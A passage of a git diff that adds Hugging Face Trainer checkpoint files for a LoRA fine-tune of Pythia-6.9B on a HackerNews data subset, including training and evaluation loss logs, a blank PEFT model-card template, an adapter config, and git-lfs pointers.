160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.86531455336448e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..5b53dc53d32164a079e70a053ca4a2ef05fc5dd8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0eea8269349021a746b7ba769d7df4cb67a4f4b488f5f529d6a8be9475026a45 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..175e8d8123fc8e84009ceb985eb1e802053f06ae --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:03556296d1292e155b726c3ee4298d41db44fc42c044d4abf5d5a8c1fd9bd6d5 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..031b265de35950a615eacc2c86e46292f552e541 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b56a3ff26dded8216d560cf73ba4817b5973851b78edbbf6aa9d6b515761df8c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..5c509b1230d4d9d9bf05bb1cf38bcd2d3119d2c8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:65f3e63eff29379b2f31d4f746c0c715c2b686bd11d7e07aba3d5f29231a18da +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..4070e9dca09c2b0bc7044be4cd0ccc19fe42adeb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/trainer_state.json @@ -0,0 +1,768 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.533333333333333, + "eval_steps": 10, + "global_step": 490, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + 